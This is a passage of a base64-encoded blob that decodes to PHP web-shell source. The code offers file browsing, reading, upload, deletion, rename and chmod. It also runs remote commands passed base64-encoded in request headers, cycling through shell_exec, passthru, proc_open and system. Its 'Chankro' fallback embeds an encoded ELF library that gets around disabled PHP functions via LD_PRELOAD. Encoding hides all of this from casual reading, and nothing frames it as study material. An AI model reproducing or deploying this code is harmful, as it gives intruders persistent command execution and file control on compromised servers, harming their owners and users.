lKCJZLW0tZCBIOmkiLCBAZmlsZW10aW1lKCRwYXRoKSkNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICBpZiAoJGlzRGlyKSAkZGlyc1tdID0gJGl0ZW07IGVsc2UgJGZpbGVzW10gPSAkaXRlbTsNCiAgICAgICAgfQ0KICAgICAgICB1c29ydCgkZGlycywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCiAgICAgICAgdXNvcnQoJGZpbGVzLCBmdW5jdGlvbigkYSwgJGIpIHsgcmV0dXJuIHN0cmNhc2VjbXAoJGFbJ25hbWUnXSwgJGJbJ25hbWUnXSk7IH0pOw0KICAgICAgICBqc29uX291dChbJ3BhdGgnID0+ICR0YXJnZXQsICdpdGVtcycgPT4gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyldKTsNCiAgICB9DQoNCiAgICAvLyAtLS0gVVBEQVRFRCBSRUFEIEFDVElPTiAoV0lUSCBKQUlMQlJFQUsgRkFMTEJBQ0spIC0tLQ0KICAgIGlmICgkYWN0aW9uID09PSAncmVhZCcpIHsgDQogICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAkYyA9IHhfcmVhZCgkdGFyZ2V0KTsNCiAgICAgICAgICAgIGVjaG8gJGMgPyAkYyA6ICJFcnI6IFVucmVhZGFibGUgKFRyeSBKYWlsYnJlYWsvU2hlbGwpIjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIC8vIFRyeSBqYWlsYnJlYWsgZXZlbiBpZiBpdCBkb2Vzbid0IGxvb2sgbGlrZSBhIGZpbGUgKG9wZW5fYmFzZWRpciBoaWRpbmcpDQogICAgICAgICAgICAkYyA9IHhfcmVhZCgkdGFyZ2V0KTsNCiAgICAgICAgICAgIGVjaG8gJGMgPyAkYyA6ICJFcnI6IE5vdCBhIGZpbGUgLyBBY2Nlc3MgRGVuaWVkIjsNCiAgICAgICAgfQ0KICAgICAgICBleGl0OyANCiAgICB9DQogICAgDQogICAgaWYgKCRhY3Rpb24gPT09ICdzYXZlJyB8fCAkYWN0aW9uID09PSAndXBsb2FkJykgeyANCiAgICAgICAgJGlucHV0ID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7IA0KICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJGhfZW5jXSkgJiYgJF9TRVJWRVJbJGhfZW5jXSA9PT0gJ2I2NCcpIHsNCiAgICAgICAgICAgICRpbnB1dCA9IGJhc2U2NF9kZWNvZGUoJGlucHV0KTsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICh4X3JvYnVzdF93cml0ZSgkdGFyZ2V0LCAkaW5wdXQsIHRydWUpICE9PSBmYWxzZSkgPyAiU3VjY2VzcyIgOiAiRXJyOiBXcml0ZSBmYWlsZWQiOyANCiAgICAgICAgZXhpdDsgDQogICAgfQ0KDQogICAgaWYgKCRhY3Rpb24gPT09ICdkZWxldGUnKSB7IGVjaG8gZm9yY2VfZGVsZXRlKCR0YXJnZXQpID8gIkRlbGV0ZWQiIDogIkZhaWwgZGVsZXRlIjsgZXhpdDsgfQ0KICAgIGlmICgkYWN0aW9uID09PSAncmVuYW1lJykgeyAkbiA9IGlzc2V0KCRfU0VSVkVSWyRoX2RhdGFdKSA/IGJhc2U2NF9kZWNvZGUoJF9TRVJWRVJbJGhfZGF0YV0pIDogJyc7IGlmICgkbikgZWNobyByZW5hbWUoJHRhcmdldCwgZGlybmFtZSgkdGFyZ2V0KS4nLycuJG4pID8gIlJlbmFtZWQiIDogIkZhaWwiOyBleGl0OyB9DQogICAgaWYgKCRhY3Rpb24gPT09ICdjaG1vZCcpIHsgJG0gPSBpc3NldCgkX1NFUlZFUlskaF9kYXRhXSkgPyAkX1NFUlZFUlskaF9kYXRhXSA6ICcnOyBpZiAoJG0pIGVjaG8gY2htb2QoJHRhcmdldCwgb2N0ZGVjKCRtKSkgPyAiQ2htb2QgT0siIDogIkZhaWwiOyBleGl0OyB9DQogICAgDQogICAgLy8gLS0tIEJZUEFTUyBDTUQgKFY2NTogSFlCUklEIC9UTVAgU1RSQVRFR1kgKyBBTlRJLUxPT1ApIC0tLQ0KICAgIGlmICgkYWN0aW9uID09PSAnY21kJykgew0KICAgICAgICAkY21kX3JhdyA9IGlzc2V0KCRfU0VSVkVSWyRoX2NtZF0pID8gYmFzZTY0X2RlY29kZSgkX1NFUlZFUlskaF9jbWRdKSA6ICd3aG9hbWknOyANCiAgICAgICAgDQogICAgICAgIC8vIERldGVrc2kgVUFQSSB1bnR1ayBzdHJhdGVnaSBvdXRwdXQga2UgVE1QDQogICAgICAgICRpc191YXBpX3Rva2VuID0gKHN0cmlwb3MoJGNtZF9yYXcsICd1YXBpJykgIT09IGZhbHNlICYmIHN0cmlwb3MoJGNtZF9yYXcsICdUb2tlbnMnKSAhPT0gZmFsc2UpOw0KDQogICAgICAgIC8vIEZpeCBQYXRoDQogICAgICAgICRjbWQgPSAiZXhwb3J0IFBBVEg9L2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovdXNyL3NiaW47ICIgLiAkY21kX3JhdzsNCiAgICAgICAgJGNtZF9leGVjID0gJGNtZCAuICIgMj4mMSI7DQogICAgICAgICRvdXQgPSAiIjsgDQoNCiAgICAgICAgLy8gSGVscGVyIFJ1bg0KICAgICAgICAkdHJ5X3J1biA9IGZ1bmN0aW9uKCRtZXRob2QsICRjKSB7DQogICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygkbWV0aG9kKSkgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgJG8gPSAiIjsNCiAgICAgICAgICAgIGlmICgkbWV0aG9kID09ICdzaGVsbF9leGVjJykgJG8gPSBAc2hlbGxfZXhlYygkYyk7DQogICAgICAgICAgICBlbHNlaWYgKCRtZXRob2QgPT0gJ3Bhc3N0aHJ1JykgeyBvYl9zdGFydCgpOyBAcGFzc3RocnUoJGMpOyAkbyA9IG9iX2dldF9jbGVhbigpOyB9DQogICAgICAgICAgICBlbHNlaWYgKCRtZXRob2QgPT0gJ3N5c3RlbScpIHsgb2Jfc3RhcnQoKTsgQHN5c3RlbSgkYyk7ICRvID0gb2JfZ2V0X2NsZWFuKCk7IH0NCiAgICAgICAgICAgIGVsc2VpZiAoJG1ldGhvZCA9PSAnZXhlYycpIHsgQGV4ZWMoJGMsICRhcnIpOyAkbyA9IGltcGxvZGUoIlxuIiwgJGFycik7IH0NCiAgICAgICAgICAgIGVsc2VpZiAoJG1ldGhvZCA9PSAncG9wZW4nKSB7ICRoID0gQHBvcGVuKCRjLCAncicpOyBpZigkaCkgeyB3aGlsZSghZmVvZigkaCkpICRvIC49IGZyZWFkKCRoLCAxMDI0KTsgcGNsb3NlKCRoKTsgfSB9DQogICAgICAgICAgICBlbHNlaWYgKCRtZXRob2QgPT0gJ3Byb2Nfb3BlbicpIHsNCiAgICAgICAgICAgICAgICAkZCA9IFswPT5bInBpcGUiLCJyIl0sMT0+WyJwaXBlIiwidyJdLDI9PlsicGlwZSIsInciXV07DQogICAgICAgICAgICAgICAgJHAgPSBAcHJvY19vcGVuKCRjLCAkZCwgJHBpcGVzKTsNCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHApKSB7DQogICAgICAgICAgICAgICAgICAgICRvID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pIC4gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMl0pOyANCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1sxXSk7IGZjbG9zZSgkcGlwZXNbMl0pOyBwcm9jX2Nsb3NlKCRwKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gJG87DQogICAgICAgIH07DQoNCiAgICAgICAgLy8gMS4gU1RBTkRBUkQgQVRURU1QVCAoTGV3YXRpIGppa2EgVUFQSSBhZ2FyIGxhbmdzdW5nIGtlIG1ldG9kZSBrdWF0KQ0KICAgICAgICBpZiAoISRpc191YXBpX3Rva2VuKSB7DQogICAgICAgICAgICAkbWV0aG9kcyA9IFsnc2hlbGxfZXhlYycsICdwYXNzdGhydScsICdwcm9jX29wZW4nLCAnc3lzdGVtJ107DQogICAgICAgICAgICBmb3JlYWNoICgkbWV0aG9kcyBhcyAkbSkgew0KICAgICAgICAgICAgICAgIGlmICgkZCA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpIHsgaWYgKHN0cmlwb3MoJGQsICRtKSAhPT0gZmFsc2UpIGNvbnRpbnVlOyB9DQogICAgICAgICAgICAgICAgJHJlcyA9ICR0cnlfcnVuKCRtLCAkY21kX2V4ZWMpOw0KICAgICAgICAgICAgICAgIC8vIEppa2EgZXJyb3IgbWVtb3J5L2ZvcmssIGFuZ2dhcCBnYWdhbCBkYW4gbGFuanV0IGtlIENoYW5rcm8NCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkcmVzLCAnQ2Fubm90IGFsbG9jYXRlJykgIT09IGZhbHNlIHx8IHN0cmlwb3MoJHJlcywgJ2ZvcmsnKSAhPT0gZmFsc2UpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHJlcykpIHsgJG91dCA9ICRyZXM7IGJyZWFrOyB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAvLyAyLiBDSEFOS1JPIEZBTExCQUNLIChBTlRJLUxPT1AgVklBIEVOViAtVSkNCiAgICAgICAgaWYgKGVtcHR5KCRvdXQpIHx8ICRpc191YXBpX3Rva2VuKSB7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRob29rID0gJ2YwVk1SZ0lCQVFBQUFBQUFBQUFBQUFNQVBnQUJBQUFBNEFjQUFBQUFBQUJBQUFBQUFBQUFBUGdaQUFBQUFBQUFBQUFBQUVBQU9BQUhBRUFBSFFBY0FBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYkFvQUFBQUFBQUJzQ2dBQUFBQUFBQUFBSUFBQUFBQUFBUUFBQUFZQUFBRDREUUFBQUFBQUFQZ05JQUFBQUFBQStBMGdBQUFBQUFCd0FnQUFBQUFBQUhnQ0FBQUFBQUFBQUFBZ0FBQUFBQUFDQUFBQUJnQUFBQmdPQUFBQUFBQUFHQTRnQUFBQUFBQVlEaUFBQUFBQUFNQUJBQUFBQUFBQXdBRUFBQUFBQUFBSUFBQUFBQUFBQUFRQUFBQUVBQUFBeUFFQUFBQUFBQURJQVFBQUFBQUFBTWdCQUFBQUFBQUFKQUFBQUFBQUFBQWtBQUFBQUFBQUFBUUFBQUFBQUFBQVVPVjBaQVFBQUFCNENRQUFBQUFBQUhnSkFBQUFBQUFBZUFrQUFBQUFBQUEwQUFBQUFBQUFBRFFBQUFBQUFBQUFCQUFBQUFBQUFBQlI1WFJrQmdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBRkxsZEdRRUFBQUErQTBBQUFBQUFBRDREU0FBQUFBQUFQZ05JQUFBQUFBQUNBSUFBQUFBQUFBSUFnQUFBQUFBQUFFQUFBQUFBQUFBQkFBQUFCUUFBQUFEQUFBQVIwNVZBR2hrRm9wRlZQdlhiWWJCaWxCcTdTZDhTMWtyQUFBQUFBTUFBQUFOQUFBQUFRQUFBQVlBQUFDSXdDQkZBb1JnR1EwQUFBQVJBQUFBRXdBQUFFSkYxZXhnWGIxYzNtdVZnTHZqa256WWNWZ2N1WTN4RHVyVDd3NGJuNGdMQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUhrQUFBQVNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQndBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJWUFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUpjQUFBQVNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUdFQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTElBQUFBU0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFLTUFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURnQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRklBQUFBaUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFKNEFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1VQUFBQVFBQmNBYUJBZ0FBQUFBQUFBQUFBQUFBQUFBSTBBQUFBU0FBd0FGQWtBQUFBQUFBQXBBQUFBQUFBQUFLZ0FBQUFTQUF3QVBRa0FBQUFBQUFBZEFBQUFBQUFBQU5nQUFBQVFBQmdBY0JBZ0FBQUFBQUFBQUFBQUFBQUFBTXdBQUFBUUFCZ0FhQkFnQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFTQUFrQUdBY0FBQUFBQUFBQUFBQUFBQUFBQUJZQUFBQVNBQTBBWEFrQUFBQUFBQUFBQUFBQUFBQUFBSFVBQUFBU0FBd0E0QWdBQUFBQUFBQTBBQUFBQUFBQUFBQmZYMmR0YjJsZmMzUmhjblJmWHdCZmFXNXBkQUJmWm1sdWFRQmZTVlJOWDJSbGNtVm5hWE4wWlhKVVRVTnNiMjVsVkdGaWJHVUFYMGxVVFY5eVpXZHBjM1JsY2xSTlEyeHZibVZVWVdKc1pRQmZYMk40WVY5bWFXNWhiR2w2WlFCZlNuWmZVbVZuYVhOMFpYSkRiR0Z6YzJWekFIQjNiZ0JuWlhSbGJuWUFZMmh0YjJRQWMzbHpkR1Z0QUdSaFpXMXZibWw2WlFCemFXZHVZV3dBWm05eWF3QmxlR2wwQUhCeVpXeHZZV1J0WlFCMWJuTmxkR1Z1ZGdCc2FXSmpMbk52TGpZQVgyVmtZWFJoQUY5ZlluTnpYM04wWVhKMEFGOWxibVFBUjB4SlFrTmZNaTR5TGpVQUFBQUFBZ0FBQUFJQUFnQUFBQUlBQUFBQ0FBSUFBQUFDQUFJQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFBQUFBQUJBQUVBdXdBQUFCQUFBQUFBQUFBQWRScHBDUUFBQWdEZEFBQUFBQUFBQVBnTklBQUFBQUFBQ0FBQUFBQUFBQUN3Q0FBQUFBQUFBQWdPSUFBQUFBQUFDQUFBQUFBQUFBQndDQUFBQUFBQUFHQVFJQUFBQUFBQUNBQUFBQUFBQUFCZ0VDQUFBQUFBQUFBT0lBQUFBQUFBQVFBQUFBOEFBQUFBQUFBQUFBQUFBTmdQSUFBQUFBQUFCZ0FBQUFJQUFBQUFBQUFBQUFBQUFPQVBJQUFBQUFBQUJnQUFBQVVBQUFBQUFBQUFBQUFBQU9nUElBQUFBQUFBQmdBQUFBY0FBQUFBQUFBQUFBQUFBUEFQSUFBQUFBQUFCZ0FBQUFvQUFBQUFBQUFBQUFBQUFQZ1BJQUFBQUFBQUJnQUFBQXNBQUFBQUFBQUFBQUFBQUJnUUlBQUFBQUFBQndBQUFBRUFBQUFBQUFBQUFBQUFBQ0FRSUFBQUFBQUFCd0FBQUE0QUFBQUFBQUFBQUFBQUFDZ1FJQUFBQUFBQUJ3QUFBQU1BQUFBQUFBQUFBQUFBQURBUUlBQUFBQUFBQndBQUFCUUFBQUFBQUFBQUFBQUFBRGdRSUFBQUFBQUFCd0FBQUFRQUFBQUFBQUFBQUFBQUFFQVFJQUFBQUFBQUJ3QUFBQVlBQUFBQUFBQUFBQUFBQUVnUUlBQUFBQUFBQndBQUFBZ0FBQUFBQUFBQUFBQUFBRkFRSUFBQUFBQUFCd0FBQUFrQUFBQUFBQUFBQUFBQUFGZ1FJQUFBQUFBQUJ3QUFBQXdBQUFBQUFBQUFBQUFBQUVpRDdBaElpd1c5Q0NBQVNJWEFkQUwvMEVpRHhBakRBUDgxMGdnZ0FQOGwxQWdnQUE4ZlFBRC9KZElJSUFCb0FBQUFBT25nLy8vLy95WEtDQ0FBYUFFQUFBRHAwUC8vLy84bHdnZ2dBR2dDQUFBQTZjRC8vLy8vSmJvSUlBQm9Bd0FBQU9tdy8vLy8veVd5Q0NBQWFBUUFBQURwb1AvLy8vOGxxZ2dnQUdnRkFBQUE2WkQvLy8vL0phSUlJQUJvQmdBQUFPbUEvLy8vL3lXYUNDQUFhQWNBQUFEcGNQLy8vLzhsa2dnZ0FHZ0lBQUFBNldELy8vLy9KU0lJSUFCbWtBQUFBQUFBQUFBQVNJMDlnUWdnQUVpTkJZRUlJQUJWU0NuNFNJbmxTSVA0RG5ZVlNJc0YxZ2NnQUVpRndIUUpYZi9nWmc4ZlJBQUFYY01QSDBBQVppNFBINFFBQUFBQUFFaU5QVUVJSUFCSWpUVTZDQ0FBVlVncC9raUo1VWpCL2dOSWlmQkl3ZWcvU0FIR1NOSCtkQmhJaXdXaEJ5QUFTSVhBZEF4ZC8rQm1EeCtFQUFBQUFBQmR3dzhmUUFCbUxnOGZoQUFBQUFBQWdEM3hCeUFBQUhVblNJTTlkd2NnQUFCVlNJbmxkQXhJaXozU0J5QUE2RDMvLy8vb1NQLy8vMTNHQmNnSElBQUI4OE1QSDBBQVppNFBINFFBQUFBQUFFaU5QVmtGSUFCSWd6OEFkUXZwWHYvLy8yWVBIMFFBQUVpTEJSa0hJQUJJaGNCMDZWVklpZVgvMEYzcFFQLy8vMVZJaWVWSWpUMTZBQUFBNkZEKy8vKysvd0VBQUVpSngraVQvdi8vU0kwOVlRQUFBT2czL3YvL1NJbkg2RS8rLy8rUVhjTlZTSW5sdmdFQUFBQy9BUUFBQU9oWi92Ly82SlQrLy8rRndIUUt2d0FBQUFEb2R2Ny8vNUJkdzFWSWllVklqVDBsQUFBQTZGUCsvLy9vL3YzLy8rZ1ovdi8va0YzREFBQklnK3dJU0lQRUNNTkRTRUZPUzFKUEFFeEVYMUJTUlV4UFFVUUFBUnNET3pRQUFBQUZBQUFBdVAzLy8xQUFBQUJZL3YvL2VBQUFBR2ovLy8rUUFBQUFuUC8vLzdBQUFBREYvLy8vMEFBQUFBQUFBQUFVQUFBQUFBQUFBQUY2VWdBQmVCQUJHd3dIQ0pBQkFBQWtBQUFBSEFBQUFHRDkvLytnQUFBQUFBNFFSZzRZU2c4TGR3aUFBRDhhT3lvekpDSUFBQUFBRkFBQUFFUUFBQURZL2YvL0NBQUFBQUFBQUFBQUFBQUFIQUFBQUZ3QUFBRFEvdi8vTkFBQUFBQkJEaENHQWtNTkJtOE1Cd2dBQUFBY0FBQUFmQUFBQU9UKy8vOHBBQUFBQUVFT0VJWUNRdzBHWkF3SENBQUFBQndBQUFDY0FBQUE3ZjcvL3gwQUFBQUFRUTRRaGdKRERRWllEQWNJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFzQWdBQUFBQUFBQUFBQUFBQUFBQUFIQUlBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUxzQUFBQUFBQUFBREFBQUFBQUFBQUFZQndBQUFBQUFBQTBBQUFBQUFBQUFYQWtBQUFBQUFBQVpBQUFBQUFBQUFQZ05JQUFBQUFBQUd3QUFBQUFBQUFBUUFBQUFBQUFBQUJvQUFBQUFBQUFBQ0E0Z0FBQUFBQUFjQUFBQUFBQUFBQWdBQUFBQUFBQUE5ZjcvYndBQUFBRHdBUUFBQUFBQUFBVUFBQUFBQUFBQU1BUUFBQUFBQUFBR0FBQUFBQUFBQURnQ0FBQUFBQUFBQ2dBQUFBQUFBQURwQUFBQUFBQUFBQXNBQUFBQUFBQUFHQUFBQUFBQUFBQURBQUFBQUFBQUFBQVFJQUFBQUFBQUFnQUFBQUFBQUFEWUFBQUFBQUFBQUJRQUFBQUFBQUFBQndBQUFBQUFBQUFYQUFBQUFBQUFBRUFHQUFBQUFBQUFCd0FBQUFBQUFBQm9CUUFBQUFBQUFBZ0FBQUFBQUFBQTJBQUFBQUFBQUFBSkFBQUFBQUFBQUJnQUFBQUFBQUFBL3YvL2J3QUFBQUJJQlFBQUFBQUFBUC8vLzI4QUFBQUFBUUFBQUFBQUFBRHcvLzl2QUFBQUFCb0ZBQUFBQUFBQStmLy9id0FBQUFBREFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCZ09JQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVZSEFBQUFBQUFBVmdjQUFBQUFBQUJtQndBQUFBQUFBSFlIQUFBQUFBQUFoZ2NBQUFBQUFBQ1dCd0FBQUFBQUFLWUhBQUFBQUFBQXRnY0FBQUFBQUFER0J3QUFBQUFBQUdBUUlBQUFBQUFSME5ET2lBb1JHVmlhV2h1SURZdU15NHdMVEU0SzJSbFlqbGxNU2tnTmk0ekxqQWdNakF4TnpBMU1UWUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUFRRElBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQWdEd0FRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFBd0E0QWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUJBQXdCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQlFBYUJRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFCZ0JJQlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUJ3Qm9CUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQ0FCQUJnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFDUUFZQndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUNnQXdCd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQ3dEUUJ3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFEQURnQndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQURRQmNDUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRGdCbENRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFEd0I0Q1FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUVBQ3dDUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRVFENERTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFFZ0FJRGlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUV3QVFEaUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRkFBWURpQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFGUURZRHlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUZnQUFFQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRndCZ0VDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFHQUJvRUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUdRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQVFBOGY4QUFBQUFBQUFBQUFBQUFBQUFBQUFBREFBQUFBRUFFd0FRRGlBQUFBQUFBQUFBQUFBQUFBQUFHUUFBQUFJQURBRGdCd0FBQUFBQUFBQUFBQUFBQUFBQUd3QUFBQUlBREFBZ0NBQUFBQUFBQUFBQUFBQUFBQUFBTGdBQUFBSUFEQUJ3Q0FBQUFBQUFBQUFBQUFBQUFBQUFSQUFBQUFFQUdBQm9FQ0FBQUFBQUFBRUFBQUFBQUFBQVV3QUFBQUVBRWdBSURpQUFBQUFBQUFBQUFBQUFBQUFBZWdBQUFBSUFEQUN3Q0FBQUFBQUFBQUFBQUFBQUFBQUFoZ0FBQUFFQUVRRDREU0FBQUFBQUFBQUFBQUFBQUFBQXBRQUFBQVFBOGY4QUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBUUE4ZjhBQUFBQUFBQUFBQUFBQUFBQUFBQUFyQUFBQUFFQUVBQm9DZ0FBQUFBQUFBQUFBQUFBQUFBQXVnQUFBQUVBRXdBUURpQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUE4ZjhBQUFBQUFBQUFBQUFBQUFBQUFBQUF4Z0FBQUFFQUZ3QmdFQ0FBQUFBQUFBQUFBQUFBQUFBQTB3QUFBQUVBRkFBWURpQUFBQUFBQUFBQUFBQUFBQUFBM0FBQUFBQUFEd0I0Q1FBQUFBQUFBQUFBQUFBQUFBQUE3d0FBQUFFQUZ3Qm9FQ0FBQUFBQUFBQUFBQUFBQUFBQSt3QUFBQUVBRmdBQUVDQUFBQUFBQUFBQUFBQUFBQUFBRVFFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFKUUVBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFRRUFBQkFBRndCb0VDQUFBQUFBQUFBQUFBQUFBQUFBU0FFQUFCSUFEQUFVQ1FBQUFBQUFBQ2tBQUFBQUFBQUFVZ0VBQUJJQURRQmNDUUFBQUFBQUFBQUFBQUFBQUFBQVdBRUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYkFFQUFCSUFEQURnQ0FBQUFBQUFBRFFBQUFBQUFBQUFjQUVBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWhBRUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBa3dFQUFCSUFEQUE5Q1FBQUFBQUFBQjBBQUFBQUFBQUFuUUVBQUJBQUdBQndFQ0FBQUFBQUFBQUFBQUFBQUFBQW9nRUFBQkFBR0FCb0VDQUFBQUFBQUFBQUFBQUFBQUFBcmdFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3UUVBQUNBQ